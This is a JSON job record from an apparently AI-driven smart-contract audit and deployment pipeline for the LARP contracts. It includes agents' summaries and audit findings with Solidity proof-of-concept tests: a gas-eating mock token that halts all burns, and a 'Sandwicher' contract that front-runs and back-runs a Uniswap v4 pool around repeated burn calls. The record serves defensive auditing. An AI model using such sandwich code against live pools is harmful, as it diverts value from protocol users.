{"assessments":[],"deployments":[{"attestationHash":"c66dfac5cd8503db448e70fbce9e968bef035fbb1e913a08b322d3a437cfa441","chainId":1,"contracts":[],"id":"46cd41c5-e332-451e-b0d0-6a8e3d7f1ebc","manifestHash":"add3c85e27828de997707db935c60df31d53233dbaacc4a944ab81023592a673","status":"parked"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"b1aada25-fdd9-46a3-a381-722526d472d0","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"42d703992d49c2f3fed8222b8acf11bb9e1fa4aad198257c92cda37fdde2bb23","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"66a3d5b228d8672670becd05512c4e759742fc7ee91abfe92f91a27e4df56098","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"2ff2f1248e1dfcf8439880607389d14f6b154a1dba4f0f649e73f80ad82ef634","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"9cd0ac4bfbb689d8c26925d2455b3f289eb5d2a7fb5e0cc6cbd5a7f9b2a8ec89","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":"c68e976cec41a06a737749d5d26f8e4e2101cb20e1cfd99c324ac1c635f57058","dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"f04bcce1b849f30f95832da1d9962e3a359e8b4610ff80c64e7cca0f49dd7e82","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"70591062e1272736ac88e42a3a33700d4c2d7d5418536276e1d2302003dbc32b","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0c13624fcafeb426fada9866538c891f037401746c624e549de0389ebf5a97d9","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"4883ff4bc93016efe7a235e6c0e13be267ce621796ba8c180a02759d7eed0af2","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Deploy LARP (Linked Avatar Registry Protocol) on Ethereum exactly as in the repository, four contracts in this order. (1) LARPBurner(0x000000000004444c5dc75cB358380D2e3dE08A90 PoolManager; 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7 $IMD; 10000; 60; 0xc6C965Bd164c483e87d0B550671798e9A3602840 POOL4 hook; 10000; 200; 0x0000198C940D8cD70Cb9ACeC5E3af8216ac57d2F IMD6900; 0; 60; 0x667f4621030aCfAfb1bD0B64d33610A8567f2A44 pair hook); its three tick spacings (60, 200, 60) are uint24 constructor arguments, stored as int24 (job 9cd98310 blocked on int24, now fixed at 0b0e260). (2) LARP(0x0000eC93127BAA929E58E97dd0095A2BFb38ec1D identity.md). (3) IMDNames(identity.md; $contract:LARP; $contract:LARPBurner; 0x35dA9C0303507ddf708E87F2568EdDf12c47a059 artist; 0xa43e6F75ee006411F79Ac1C84120606C2330DE82 IMD's oracle Intake; 0x5598Aa9146215Bc13eb26f2c692Ad1461Fd32982 IMD's oracle signer). (4) LARPLinks(identity.md; 0xfF03410d0Fe5fa8f7F59F743de35E333D9857120 IMD's launcher; $contract:LARP; $contract:IMDNames; $contract:LARPBurner). Keep: no owner or upgrade; prices change only by the swarm's verdict within the guardrails; out-of-gas swaps revert. Do not change interfaces or constructor arguments. Constructors call nothing (test_DeploysOnAFreshChain); no CALLCODE/DELEGATECALL/SELFDESTRUCT (test_PassesTheAdmissionScan); one transaction (test_FitsOneTransaction). Offline, 144 tests. AUDIT.md's fixes are tested: check, don't re-raise. Coverage: each audit must answer all 138 entry points: the 4 constructors; LARPBurner: receive, POOL_MANAGER, IMD, POOL4_FEE, POOL4_SPACING, POOL4_HOOK, BACKUP_FEE, BACKUP_SPACING, IMD6900, PAIR_FEE, PAIR_SPACING, PAIR_HOOK, DEAD, MAX_BURN, POOL_SHARE_BPS, burn, burnImd, quoteImd, unlockCallback; LARP: IDENTITY, SLOTS, DOMAIN_SEPARATOR, nonces, setAgent, setAgentBySig, resignAgent, agentOf, identityOfAgent, canAct, setFace, clearFace, equip, unequip, faceOf, itemOf, wearerOf, faceURI, avatarOf, itemURI, supportsInterface; IMDNames: IDENTITY, LARP, BURNER, TLD, ROYALTY_BPS, ACTION, INTAKE, ORACLE_SIGNER, MIN_PRICE, MAX_PRICE, COOLDOWN, EXECUTE_WINDOW, MIN_PANEL, MIN_QUORUM, prices, epoch, lastChange, proposalCount, proposal, propose, onVerdict, onNoVerdict, execute, artist, renderer, rendererLocked, priceOf, crewPrice, tollOf, register, registerWithImd, link, linkWithImd, unlink, setPrimary, setText, nameOfToken, nameOf, identityOf, resolve, resolveName, primaryOf, text, tokenURI, royaltyInfo, setRenderer, setArtist, lockRenderer, name, symbol, balanceOf, ownerOf, approve, getApproved, setApprovalForAll, isApprovedForAll, transferFrom, both safeTransferFrom, supportsInterface; LARPLinks: IDENTITY, LAUNCHER, LARP, NAMES, BURNER, isFren, asked, frenCount, fren, unfren, crewCount, crewByName, invited, foundCrew, foundCrewWithImd, invite, setOpen, join, leave, kick, passCaptain, disband, crewOf, crew, allocOf, proveAlloc, launchCount, launchJeet, jeetOf, jeetOfRange, rankOf, tierOf, titleOf, cardOf. A coverage ratio below 1 is not a whole number: the launch blocks.","parentJobId":null,"planHash":"bccf55eb8a79d194e933cfcdd29aa838b6780cb4b44413c7d0d6072dde842499","previousHash":"ab3b959da13de2bd05b3f107a568d76b04e2db5f4b809afa0a15f52ea4a10fb6","projectId":"b1aada25-fdd9-46a3-a381-722526d472d0","publication":{"commit":"9aaf43805c39c44dfa79c209e226418b4235a30d","deliveredAt":"2026-10-12T12:38:23.822Z","repoUrl":"https://github.com/identity-md-launches/launch-1395-larpburner-larp-imdnames-larplinks"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"09d6b6b061e0519af81bc218e1a3e0356892319e4c988410541600e8ef984ba4","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"871e35451acfb9b659ab37ec17ee77a39628b3826d010cbd713675d9b5ea92f4","device":"f9a12c57a094ca8d","findings":[{"description":"The comment on the Attestation struct (and AUDIT.md's 'Swarm prices' section) says the callback selector is 0x510379c7 and 'matches IMD's docs'. 0x510379c7 is the selector of the reference consumer's `onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)`. This contract's callback is named `onVerdict`, so its selector is 0x8bf09c1b, and that is what `propose` registers with the Intake via `this.onVerdict.selector`. The parameter layout is the protocol's (the protocol's published vector signature verifies against this contract: test_TheProtocolsOwnSignatureVerifies), so there is no functional defect: the Intake calls whatever selector it was given. Only the comment and AUDIT.md cite the wrong number. Documentation fix only; no code change needed.","line":22,"path":"src/SwarmPrices.sol","reproduction":"cast sig 'onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)' -> 0x8bf09c1b (actual, asserted by test_TheCallbackSelectorsAreTheProtocolsLayout); cast sig 'onOracleResult(bytes32,(...same tuple...),bytes)' -> 0x510379c7 (what the comment cites). Expected: the comment names the contract's own selector; actual: it names the reference consumer's.","severity":"info","title":"The documented oracle callback selector 0x510379c7 is onOracleResult's, not this contract's onVerdict"}],"hash":"038edf4e21fb43bab28ea78153c329c159bcecd22847a9163992b0b9e77ee429","nodeId":"8eb64fa4-8698-4708-8a81-4cb965a704bb","outcome":"completed","summary":"All 138 entry points are reached by an offline test, the four constructors and `receive` included. Only files under `test/` were added, plus the findings file at the root the brief asks for.\n\n## Result\n\n`forge test --offline` with an empty environment passes: 240 offline tests (145 existing, 95 new), 0 failed, 11 fork tests skipped as designed. No contract, config or dependency was changed.\n\n**No defect found.** I read the four contracts adversarially (zero, one wei, the maximum, the same call twice, callers who aren't who the code assumed) and found nothing to report above informational. The one finding is a documentation error, recorded in `.imd-findings.json`: the selector `0x510379c7` cited in the SwarmPrices comment and in AUDIT.md belongs to the reference consumer's `onOracleResult`, not to this contract's `onVerdict`. The contract registers its real selector with the Intake, so nothing breaks.\n\n## What was added\n\n- **Burner invariants** (`test/LARPBurner.invariant.t.sol`). A handler drives donations of ETH and $IMD, burns with random floors, a third-party trader pushing POOL4 in and out of a concentrated range, and a PoolManager that refuses unlocks. Invariants: ETH leaves only into the PoolManager, $IMD is conserved between DEAD, the IMD6900 buy and the burner, no $IMD outlives a burn, IMD6900 only ever burns, DEAD holds only $IMD.\n- **Swarm-price invariants** (`test/SwarmPrices.invariant.t.sol`). Three proposers, verdicts of every strength, forgeries, strangers' callbacks, failures, executions and time. Invariants: prices equal exactly the last executed proposal, stay within the guardrails, counters match, no proposal reopens, the names contract holds nothing.\n- **Oracle conformance** (`test/SwarmPricesEdges.t.sol`). The protocol's published vector signature verifies against this contract deployed at the vector's address and chain. The existing tests only signed with their own key.\n- **Edge and failure paths** for all four contracts: constructor zero-address refusals, every constant, the full ERC-721 surface a market uses, a partial fill on POOL4 falling to the hookless pool, pools that don't exist, one wei parking, the 2x and ordering rails at their exact boundaries (fuzzed against the documented rule), verdict windows at their last second, jeet arithmetic fuzzed, crew refusals after disbanding, and more.\n\nOne thing worth knowing for anyone reading the fork suite later: the links contract's hard-coded distributor selectors match the local mock by construction, so only the fork tests can confirm them against IMD's real distributor.","treeHash":"5b1372ccc41ebd2563b79d2ac57742b834ce3c6f","usage":{"cachedInputTokens":3999271,"inputTokens":674,"model":"claude-fable-5-1","outputTokens":98401,"runtime":"claude","turns":59,"wallClockMs":1813513}},{"artifacts":[],"attempt":1,"bundleHash":"55be88b980d84bef1a41b5a79911dd814a28b7184a49489bfeb101fa8d5a94b3","device":"b6749af807a22c3c","findings":[],"hash":"0c13624fcafeb426fada9866538c891f037401746c624e549de0389ebf5a97d9","nodeId":"5a5996e6-0842-45f5-9659-75737173dbc2","outcome":"completed","summary":"Updated only [launch.json](/home/imd1/.identitymd/work/b1aada25-fdd9-46a3-a381-722526d472d0/5a5996e6-0842-45f5-9659-75737173dbc2/launch.json), correcting notes to match the accepted implementation. Verified all four contracts and 23 constructor arguments against the brief and compiled ABIs.\n\nOffline verification passed: `forge build`; `forge test` — 150 passed, 0 failed, 11 fork tests skipped.","treeHash":"41741f05a3f785c9dd550bf067966bcbc3934640","usage":{"cachedInputTokens":754688,"inputTokens":52184,"model":"gpt-6-astra","outputTokens":5484,"runtime":"codex","turns":5,"wallClockMs":219372}},{"artifacts":[],"attempt":1,"bundleHash":"276bc9c7a16f99a9d7203809e6ee6f5df8bbfff1ce017176f38fb98573602d4f","device":"fcb71e606c933181","findings":[],"hash":"0e7dd170e7268c9c87af864c4fac90e3ea34eaed8e2e78cb428f5a4540949e3a","nodeId":"5a5996e6-0842-45f5-9659-75737173dbc2","outcome":"completed","summary":"launch.json is written and verified. It is the only file changed.\n\n**What the manifest declares**, in constructor dependency order:\n\n- **LARPBurner** with the 11 brief values: PoolManager, $IMD, POOL4 fee and spacing and hook, backup fee and spacing, IMD6900, pair fee and spacing and hook. The three spacings are the plain decimal words 60, 200 and 60, matching the uint24 parameters from commit 0b0e260.\n- **LARP** with identity.md.\n- **IMDNames** with identity.md, the LARP and LARPBurner references, the artist address stated in the brief, IMD's oracle Intake and oracle signer.\n- **LARPLinks** with identity.md, IMD's launcher, and the LARP, IMDNames and LARPBurner references.\n\nNo owner argument exists in any constructor, so $owner is not used. The notes stay under 1600 characters and describe only what the source does. I corrected one claim while checking: royalties go to LARPBurner, and the artist only names the renderer and a successor artist until the renderer is locked.\n\n**Verification**\n\n- The JSON has exactly the keys kind, contracts and notes, with the right argument count per constructor.\n- A scratch test deployed all four contracts on an empty chain with the manifest's exact arguments and confirmed every stored constant, including the int24 spacings and the swarm start prices.\n- The build passed. The offline test run passed with 146 tests and 0 failures. The 11 skipped tests are fork-only tests that cannot run offline.","treeHash":"55def1cfa00b8b9e420c24cb4dca47904b41414a","usage":{"cachedInputTokens":307729,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":5478,"runtime":"claude","turns":9,"wallClockMs":310322}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"5ded77c3c883b7b0","findings":[{"citation":"resolved","description":"Reported by audit_flow; reproduced with its proof (fails on this code with 'burn reverted: 0x5dd42bb6' and 'burnImd reverted: 0x5dd42bb6'). _tryUnlock treats a failed try that left at most 1/4 of its gas as an out-of-gas and reverts the whole call. The try forwards 63/64 of the gas, and the IMD6900 leg ends in IBurnable(IMD6900).burn(out) (src/LARPBurner.sol:205) on an upgradeable token the IMD6900 timelock controls, through a hook the same timelock owns; route 0 runs through POOL4's hook, owned by IMD's treasury. If any of that code consumes all the gas it is given (an infinite loop, a buggy or hostile upgrade), the catch always sees gasleft() <= gasBefore/4 whatever the caller sent, so burn() and burnImd() can never complete. IMDNames.register, registerWithImd, link, linkWithImd and LARPLinks.foundCrew, foundCrewWithImd all end in burner.burn or burner.burnImd and have no other payment path, and there is no owner, route switch or budget to recover: one third-party upgrade halts every registration, toll and crew founding. AUDIT.md's trust table says the opposite ('IMD6900 (upgradeable): if its burn refuses, the same: the share goes to 0x...dEaD as $IMD'): that holds only for a refusal that reverts cheaply. The 1/63 -> 1/4 strengthening of L-01 widened this (before it, 30M gas left ~470k and the leg was skipped). Severity medium: a documented guarantee is broken and all revenue functions halt under a condition a third party controls; no funds are lost (a refused call moves nothing, ETH already in the burner waits). A fix that keeps the brief's rules (out-of-gas swaps revert; L-01's rule that a caller cannot skip the IMD6900 buy by sending too little gas): give the TO_PAIR leg a fixed, generous gas budget (several times the ~800k measured for a heavy leg) and apply the 1/4 rule to that budget, so a leg that burns its whole budget is skipped (share to DEAD) while a caller still cannot starve it; or, if the author keeps the current behaviour on purpose, say so in AUDIT.md's trust table instead of the current claim.","line":247,"path":"src/LARPBurner.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockERC20} from \"forge-std/mocks/MockERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey as V4PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {LARPBurner} from \"src/LARPBurner.sol\";\n\ncontract Token is MockERC20 {\n    constructor(string memory n) {\n        initialize(n, n, 18);\n    }\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev An IMD6900 implementation (the real one is upgradeable) whose `burn` never returns: it uses every unit of\n/// gas it is given, at any gas limit.\ncontract GasHogIMD6900 is Token {\n    constructor() Token(\"IMD6900\") {}\n\n    function burn(uint256) external pure {\n        while (true) {}\n    }\n}\n\ncontract Adder {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function add(V4PoolKey memory key, int256 liquidity) external payable {\n        pm.unlock(abi.encode(key, liquidity, msg.sender));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (V4PoolKey memory key, int256 liquidity, address payer) = abi.decode(data, (V4PoolKey, int256, address));\n        (BalanceDelta delta,) = pm.modifyLiquidity(\n            key,\n            ModifyLiquidityParams(\n                TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), liquidity, 0\n            ),\n            \"\"\n        );\n        _pay(key.currency0, uint256(uint128(-delta.amount0())), payer);\n        _pay(key.currency1, uint256(uint128(-delta.amount1())), payer);\n        if (address(this).balance > 0) payable(payer).transfer(address(this).balance);\n        return \"\";\n    }\n\n    function _pay(Currency currency, uint256 amount, address payer) internal {\n        if (Currency.unwrap(currency) == address(0)) {\n            pm.settle{value: amount}();\n        } else {\n            pm.sync(currency);\n            Token(Currency.unwrap(currency)).transferFrom(payer, address(pm), amount);\n            pm.settle();\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @dev AUDIT.md's trust table says a hostile IMD6900 only costs the 6.9% share (\"if its burn refuses, the same: the\n/// share goes to 0x…dEaD\"). An IMD6900 whose `burn` eats all its gas makes `_tryUnlock`'s 1/4 guard fire at every gas\n/// limit, so `burn` and `burnImd` always revert TooLittleGas, and with them every paid entry point of IMDNames and\n/// LARPLinks. This test passes once a gas-eating IMD6900 leg is skipped (its share burned as $IMD) instead of fatal.\ncontract GasHogIMD6900Test is Test {\n    address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n    Token imd;\n    GasHogIMD6900 imd6900;\n    PoolManager pm;\n    Adder adder;\n    LARPBurner burner;\n\n    receive() external payable {}\n\n    function setUp() public {\n        imd = new Token(\"IMD\");\n        imd6900 = new GasHogIMD6900();\n        pm = new PoolManager(address(this));\n        adder = new Adder(IPoolManager(address(pm)));\n        imd.mint(address(this), 1e30);\n        imd.approve(address(adder), type(uint256).max);\n        imd6900.mint(address(this), 1e33);\n        imd6900.approve(address(adder), type(uint256).max);\n        vm.deal(address(this), 10_000 ether);\n\n        V4PoolKey memory pool4 =\n            V4PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 60, IHooks(address(0)));\n        pm.initialize(pool4, TickMath.getSqrtPriceAtTick(76_020));\n        adder.add{value: 1_000 ether}(pool4, 1e21);\n\n        bool imdIs0 = address(imd) < address(imd6900);\n        V4PoolKey memory pair = imdIs0\n            ? V4PoolKey(Currency.wrap(address(imd)), Currency.wrap(address(imd6900)), 0, 60, IHooks(address(0)))\n            : V4PoolKey(Currency.wrap(address(imd6900)), Currency.wrap(address(imd)), 0, 60, IHooks(address(0)));\n        pm.initialize(pair, TickMath.getSqrtPriceAtTick(imdIs0 ? int24(92_100) : int24(-92_100)));\n        adder.add(pair, 1e23);\n\n        burner = new LARPBurner(\n            address(pm), address(imd), 10_000, 60, address(0), 10_000, 200, address(imd6900), 0, 60, address(0)\n        );\n    }\n\n    /// @dev A fee in ETH: with 30M gas (the block gas limit), the burn must go through with the IMD6900 leg skipped.\n    function test_AGasEatingIMD6900DoesNotBrickTheBurner() public {\n        uint256 deadBefore = imd.balanceOf(DEAD);\n        (bool ok, bytes memory err) =\n            address(burner).call{value: 0.0069 ether, gas: 30_000_000}(abi.encodeCall(burner.burn, (0)));\n        assertTrue(ok, string.concat(\"burn reverted: \", vm.toString(err)));\n        assertGt(imd.balanceOf(DEAD), deadBefore, \"the $IMD was burned\");\n        assertEq(address(burner).balance, 0, \"the ETH was spent\");\n    }\n\n    /// @dev A fee paid in $IMD (registerWithImd, linkWithImd, foundCrewWithImd all end in burnImd): the same.\n    function test_AGasEatingIMD6900DoesNotBrickBurnImd() public {\n        imd.mint(address(burner), 10 ether);\n        (bool ok, bytes memory err) = address(burner).call{gas: 30_000_000}(abi.encodeCall(burner.burnImd, ()));\n        assertTrue(ok, string.concat(\"burnImd reverted: \", vm.toString(err)));\n        assertEq(imd.balanceOf(DEAD), 10 ether, \"all of it went to DEAD\");\n    }\n}","reproduction":"State: a local PoolManager; POOL4 (ETH/$IMD, 1%, spacing 60) with liquidity 1e21 at tick 76020; the IMD6900/$IMD pair pool (fee 0, spacing 60) with liquidity 1e23; IMD6900 is a token whose burn(uint256) runs `while (true) {}` (the real token is a proxy: one upgrade away). Call: address(burner).call{value: 0.0069 ether, gas: 30_000_000}(abi.encodeCall(burner.burn, (0))) (what IMDNames.register sends). Expected per AUDIT.md: the ETH buys $IMD on POOL4, the 6.9% share's IMD6900 buy fails and that share goes to DEAD, the call succeeds. Actual: the call reverts TooLittleGas (0x5dd42bb6), at 30M gas and at every lower limit, so the registration reverts. Likewise imd.mint(burner, 10 ether); burner.burnImd{gas: 30_000_000}() reverts TooLittleGas, so registerWithImd, linkWithImd and foundCrewWithImd revert too. Proof: test/scratch/Proof_ed036dedfdc0.t.sol (both tests fail on this code).","severity":"medium","snippet":"            if (gasleft() <= gasBefore / 4) revert TooLittleGas();","title":"A gas-exhausting IMD6900 (or a hook on a burn route) makes every burn revert TooLittleGas at any gas limit, halting all paid entry points"},{"citation":"resolved","description":"One finding merged from audit_economics and audit_permissions (same root cause); reproduced on the repository's own pool depth. The burner's only slippage defence for a permissionless burn(0) is the per-call cap: the NatSpec at lines 42-43 ('At most MAX_BURN of ETH is spent per call: small trades aren't worth sandwiching against these pools' fees') and AUDIT.md L-04 ('0.1 ETH ... below POOL4's ~0.24 ETH sandwich break-even') rely on it, and the swap's price limit is MIN_PRICE_LIMIT with no floor of its own. The cap is enforced per call only: burn reads address(this).balance, the transient lock is cleared when each call returns, and nothing records the block or transaction. Whoever finds more than 0.1 ETH waiting in the burner (ERC-2981 royalties arriving through receive() and burned only at the next call, fees parked while no route could trade, the remainder of a price above MAX_BURN) wraps N calls to burn(0) in one transaction between a front-run and a back-run on POOL4 and keeps a large share of the value that was meant to buy and burn $IMD; the pools' 1% fees are paid once for the whole batch. Who loses: the burn ($IMD holders): the protocol's fees buy half the $IMD the market gives. Who gains: the searcher. Only the ETH route is affected. Severity medium: a stated guarantee is broken and value meant for the burn is diverted whenever the balance exceeds the cap; no user's own funds are taken. Fix that keeps the interface: rate-limit the ETH that was already waiting per block (store lastBurnBlock and spentInBlock; let a call trade msg.value + min(balanceBefore - msg.value, MAX_BURN - spentInBlock) so a caller's own fee always goes through and previously waiting ETH leaves at most MAX_BURN per block), or floor every route's output at a fraction of quoteImd(eth) read before the swap, so a manipulated pool makes the route fail rather than fill at a bad price.","line":153,"path":"src/LARPBurner.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockERC20} from \"forge-std/mocks/MockERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey as V4PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {LARPBurner} from \"src/LARPBurner.sol\";\n\ncontract Token is MockERC20 {\n    constructor(string memory n) {\n        initialize(n, n, 18);\n    }\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n\n    function burn(uint256 amount) external {\n        _burn(msg.sender, amount);\n    }\n}\n\ncontract Adder {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function add(V4PoolKey memory key, int256 liquidity) external payable {\n        pm.unlock(abi.encode(key, liquidity, msg.sender));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (V4PoolKey memory key, int256 liquidity, address payer) = abi.decode(data, (V4PoolKey, int256, address));\n        (BalanceDelta delta,) = pm.modifyLiquidity(\n            key,\n            ModifyLiquidityParams(\n                TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), liquidity, 0\n            ),\n            \"\"\n        );\n        _pay(key.currency0, uint256(uint128(-delta.amount0())), payer);\n        _pay(key.currency1, uint256(uint128(-delta.amount1())), payer);\n        if (address(this).balance > 0) payable(payer).transfer(address(this).balance);\n        return \"\";\n    }\n\n    function _pay(Currency currency, uint256 amount, address payer) internal {\n        if (Currency.unwrap(currency) == address(0)) {\n            pm.settle{value: amount}();\n        } else {\n            pm.sync(currency);\n            Token(Currency.unwrap(currency)).transferFrom(payer, address(pm), amount);\n            pm.settle();\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @dev A searcher's contract: in ONE transaction it buys $IMD on POOL4, calls burn(0) `burnCalls` times (each call\n/// that is refused is simply skipped), and sells the $IMD back.\ncontract Sandwicher {\n    IPoolManager immutable pm;\n    LARPBurner immutable burner;\n    Token immutable imd;\n    V4PoolKey key;\n\n    constructor(IPoolManager pm_, LARPBurner burner_, Token imd_, V4PoolKey memory key_) {\n        pm = pm_;\n        burner = burner_;\n        imd = imd_;\n        key = key_;\n    }\n\n    receive() external payable {}\n\n    function attack(uint256 frontRun, uint256 burnCalls) external {\n        pm.unlock(abi.encode(true, frontRun));\n        for (uint256 i; i < burnCalls; ++i) {\n            try burner.burn(0) {} catch {}\n        }\n        pm.unlock(abi.encode(false, imd.balanceOf(address(this))));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool zeroForOne, uint256 amountIn) = abi.decode(data, (bool, uint256));\n        BalanceDelta d = pm.swap(\n            key,\n            SwapParams(\n                zeroForOne, -int256(amountIn), zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n            ),\n            \"\"\n        );\n        if (zeroForOne) {\n            pm.settle{value: amountIn}();\n            pm.take(key.currency1, address(this), uint256(uint128(d.amount1())));\n        } else {\n            pm.sync(key.currency1);\n            imd.transfer(address(pm), amountIn);\n            pm.settle();\n            pm.take(key.currency0, address(this), uint256(uint128(d.amount0())));\n        }\n        return \"\";\n    }\n}\n\n/// @dev LARPBurner's NatSpec (lines 42-43) and AUDIT.md L-04 rely on MAX_BURN (0.1 ETH per call) to keep a burn\n/// below POOL4's sandwich break-even. The cap is per call, not per transaction: ETH waiting in the burner (royalties\n/// through `receive`, parked fees) can be sold in one transaction by calling burn(0) repeatedly, at one front-run\n/// price. POOL4 here has the repository's own test depth (liquidity 1e21 at ~2,000 IMD/ETH, 1% fee). This test fails\n/// on the current code (the searcher ends with 10.347 ETH from 10) and passes once previously waiting ETH leaves at\n/// most MAX_BURN per block/transaction, or 